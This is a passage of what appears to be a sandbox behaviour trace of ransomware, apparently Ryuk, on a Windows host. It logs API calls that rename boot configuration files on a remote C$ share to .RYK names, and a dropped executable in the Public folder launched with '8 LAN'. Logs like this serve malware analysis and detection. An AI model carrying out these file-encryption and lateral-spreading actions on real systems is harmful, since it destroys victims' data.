	[0284.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.196] Sleep (dwMilliseconds=0x61a8) 

Thread:
	id = 2788
	os_tid = 0x318c

	[0249.096] SetFileAttributesW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD", dwFileAttributes=0x80) returned 1
	[0251.183] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.912] MoveFileExW (lpExistingFileName="\\\\192.168.0.60\\C$\\Boot\\BCD" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd"), lpNewFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.RYK" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2789
	os_tid = 0x3190

	[0249.097] SetFileAttributesW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1
	[0251.185] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.646] MoveFileExW (lpExistingFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.log"), lpNewFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG.RYK" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2790
	os_tid = 0x3194

	[0249.097] SetFileAttributesW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG1.RYK", dwFileAttributes=0x80) returned 1
	[0250.731] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG1.RYK" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.log1.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0252.812] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x1291f5f8 | out: lpFileSize=0x1291f5f8*=0) returned 1
	[0253.221] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x1291f608 | out: lpFileSize=0x1291f608*=0) returned 1
	[0253.604] CloseHandle (hObject=0x6f0) returned 1

Thread:
	id = 2791
	os_tid = 0x3198

	[0249.099] SetFileAttributesW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG2.RYK", dwFileAttributes=0x80) returned 1
	[0251.184] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\Boot\\BCD.LOG2.RYK" (normalized: "\\\\192.168.0.60\\c$\\boot\\bcd.log2.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec
	[0253.417] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0xd1bfbb8 | out: lpFileSize=0xd1bfbb8*=0) returned 1
	[0253.605] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0xd1bfbc8 | out: lpFileSize=0xd1bfbc8*=0) returned 1
	[0253.780] CloseHandle (hObject=0x6ec) returned 1

Thread:
	id = 3693
	os_tid = 0x3f48


Process:
	id = "4"
	image_name = "hovnalknslan.exe"
	filename = "c:\\users\\public\\hovnalknslan.exe"
	page_root = "0x339f9000"
	os_pid = "0x974"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\users\\Public\\HovnaLKnSlan.exe\" 8 LAN"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 11
	os_tid = 0x988

	[0125.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f958 | out: lpSystemTimeAsFileTime=0x22f958*(dwLowDateTime=0x2fe36840, dwHighDateTime=0x1d5cdef)) 
	[0125.392] GetCurrentThreadId () returned 0x988
	[0125.392] GetCurrentProcessId () returned 0x974
	[0125.392] QueryPerformanceCounter (in: lpPerformanceCount=0x22f960 | out: lpPerformanceCount=0x22f960*=26726200342) returned 1
	[0125.703] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.703] GetLastError () returned 0x57
	[0125.703] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0125.708] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0125.708] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.708] GetLastError () returned 0x57
	[0125.708] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0125.711] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.711] GetLastError () returned 0x57
	[0125.711] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0125.711] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0125.711] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0125.712] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.712] GetLastError () returned 0x57
	[0125.712] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0125.712] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0125.713] GetProcessHeap () returned 0x2b0000
	[0125.713] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.713] GetLastError () returned 0x57
	[0125.713] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0125.714] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.714] GetLastError () returned 0x57
	[0125.714] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0125.714] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0125.714] GetLastError () returned 0x57
	[0125.714] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0125.715] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x2c7850
	[0125.715] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0125.715] SetLastError (dwErrCode=0x57) 
	[0125.716] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1000) returned 0x2c7c20
	[0125.720] GetStartupInfoW (in: lpStartupInfo=0x22f830 | out: lpStartupInfo=0x22f830*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\HovnaLKnSlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0125.720] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0125.720] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0125.720] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0125.720] GetCommandLineA () returned="\"C:\\users\\Public\\HovnaLKnSlan.exe\" 8 LAN"
	[0125.721] GetCommandLineW () returned="\"C:\\users\\Public\\HovnaLKnSlan.exe\" 8 LAN"
	[0125.721] GetLastError () returned 0x57
	[0125.721] SetLastError (dwErrCode=0x57) 
	[0125.721] GetLastError () returned 0x57
	[0125.721] SetLastError (dwErrCode=0x57) 
	[0125.721] GetACP () returned 0x4e4
	[0125.721] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x228) returned 0x2c74b0
	[0125.721] IsValidCodePage (CodePage=0x4e4) returned 1
	[0125.721] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x22f800 | out: lpCPInfo=0x22f800) returned 1
	[0125.722] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x22f0a0 | out: lpCPInfo=0x22f0a0) returned 1
	[0125.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0125.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x22edf0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ+") returned 256
	[0125.722] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ+", cchSrc=256, lpCharType=0x22f3c0 | out: lpCharType=0x22f3c0) returned 1
	[0125.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0125.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x22ed90, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0125.722] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0125.722] GetLastError () returned 0x57
	[0125.722] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0125.723] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0125.724] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0125.724] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x22eb80, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0125.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x22f1c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0125.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0125.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x22f0c0, cbMultiByte=256, lpWideCharStr=0x22ed90, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0125.725] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0125.725] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x22eb80, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0125.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x22f2c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0125.725] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x100) returned 0x2c9c30
	[0125.725] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13ff0e670, nSize=0x104 | out: lpFilename="C:\\users\\Public\\HovnaLKnSlan.exe" (normalized: "c:\\users\\public\\hovnalknslan.exe")) returned 0x20
	[0125.725] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6e) returned 0x2c7270
	[0125.725] RtlInitializeSListHead (in: ListHead=0x13ff0e490 | out: ListHead=0x13ff0e490) 
	[0125.725] GetLastError () returned 0x0
	[0125.726] SetLastError (dwErrCode=0x0) 
	[0125.726] GetEnvironmentStringsW () returned 0x2c9d40*
	[0125.726] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0xa7c) returned 0x2ca7d0
	[0125.726] FreeEnvironmentStringsW (penv=0x2c9d40) returned 1
	[0125.726] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x128) returned 0x2c9d40
	[0125.726] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3e) returned 0x2c72f0
	[0125.726] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6c) returned 0x2c9e70
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x62) returned 0x2c9ef0
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x78) returned 0x2c9f60
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x62) returned 0x2c9fe0
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c92e0
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2ca050
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x28) returned 0x2c3f60
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1a) returned 0x2c3f90
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x4a) returned 0x2ca0a0
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x72) returned 0x2ca100
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c9320
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c9360
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1c) returned 0x2c3fc0
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xd2) returned 0x2ca180
	[0125.727] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x7c) returned 0x2ca260
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3a) returned 0x2ca2f0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x90) returned 0x2ca340
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2c3ff0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c93a0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2c93e0
